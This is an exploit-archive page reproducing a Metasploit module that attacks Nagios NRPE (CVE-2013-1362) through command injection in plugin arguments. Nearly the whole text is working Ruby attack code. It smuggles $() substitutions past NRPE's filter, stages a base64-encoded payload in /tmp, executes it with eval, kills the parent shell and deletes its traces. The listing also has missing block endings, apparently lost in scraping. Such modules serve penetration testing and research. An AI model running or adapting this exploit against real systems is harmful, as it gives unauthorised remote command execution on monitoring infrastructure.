[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Nagios Remote Plugin Executor Arbitrary Command Execution
# Published : 2013-04-12
# Author :
# Previous Title : Linksys E1500/E2500 apply.cgi Remote Command Injection
# Next Title : KNet Web Server 1.04b - Stack Corruption BoF

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
      'Name'        => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
      'Description' => %q{
          The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
        Nagios server to actively poll information from the hosts it monitors. NRPE
        has a configuration option dont_blame_nrpe which enables command-line arguments
        to be provided remote plugins. When this option is enabled, even when NRPE makes
        an effort to sanitize arguments to prevent command execution, it is possible to
        execute arbitrary commands.
      'Author'      =>
          'Rudolph Pereir', # Vulnerability discovery
          'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
      'References'  =>
          [ 'CVE', '2013-1362' ],
          [ 'OSVDB', '90582'],
          [ 'BID', '58142'],
          [ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Payload'     =>
          'DisableNops' => true,
          'Compat'      =>
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl python ruby bash telnet',
              # *_perl, *_python and *_ruby work if they are installed
      'Targets'     =>
          [ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 21 2013'

        OptEnum.new('NRPECMD', [
          "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
          ['check_procs', 'check_users', 'check_load', 'check_disk']
        # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
        OptBool.new('NRPESSL', [ true,  "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
      ], self.class)

  def send_message(message)
    packet = [
      2,       # packet version
      1,       # packet type, 1 => query packet
      0,       # checksum, to be added later
      0,       # result code, discarded for query packet
      message, # the command and arguments
      0        # padding
    packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
      self.sock.put(packet.pack("nnNna1024n")) #send the packet
      res = self.sock.get_once # get the response
    rescue ::EOFError => eof
      res = ""

    return res.unpack("nnNnA1024n")[4] unless res.nil?

  def setup
    @ssl_socket = nil
    @force_ssl = false

  def exploit

    if check != Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")

    stage = "setsid nohup #{payload.encoded} & "
    stage = Rex::Text.encode_base64(stage)
    # NRPE will reject queries containing |`&><'"\[]{}; but not $() :)
    command = datastore['NRPECMD']
    command << "!"
    command << "$($(rm -f /tmp/$$)"   # Delete the file if it exists
    # need a way to write to a file without using redirection (>)
    # cant count on perl being on all linux hosts, use GNU Sed
    # TODO: Probably a better way to do this, some hosts may not have a /tmp
    command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
    command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
    command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
    command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
    command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
    command << "$(rm -f /tmp/$$))" # clean the file with the stage
    print_status("Sending request...")

  def check
    print_status("Checking if remote NRPE supports command line arguments")

      # send query asking to run "fake_check" command with command substitution in arguments
      res = send_message("__fake_check!$()")
      # if nrpe is configured to support arguments and is not patched to add $() to
      # NASTY_META_CHARS then the service will return:
      #  NRPE: Command '__fake_check' not defined
      if res =~ /not defined/
        return Exploit::CheckCode::Vulnerable
    # Otherwise the service will close the connection if it is configured to disable arguments
    rescue EOFError => eof
      return Exploit::CheckCode::Safe
    rescue Errno::ECONNRESET => reset
      unless datastore['NRPESSL'] or @force_ssl
        print_status("Retrying with ADH SSL")
        @force_ssl = true
      return Exploit::CheckCode::Safe
    rescue => e
      return Exploit::CheckCode::Unknown
    # TODO: patched version appears to go here
    return Exploit::CheckCode::Unknown


  # NRPE uses unauthenticated Annonymous-Diffie-Hellman

  # setting the global SSL => true will break as we would be overlaying
  # an SSLSocket on another SSLSocket which hasnt completed its handshake
  def connect(global = true, opts={})

    self.sock = super(global, opts)

    if datastore['NRPESSL'] or @force_ssl
      ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
      ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
      ctx.ciphers = "ADH"

      @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)


      self.sock.sslsock = @ssl_socket
      self.sock.sslctx  = ctx

    return self.sock

  def disconnect
    @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl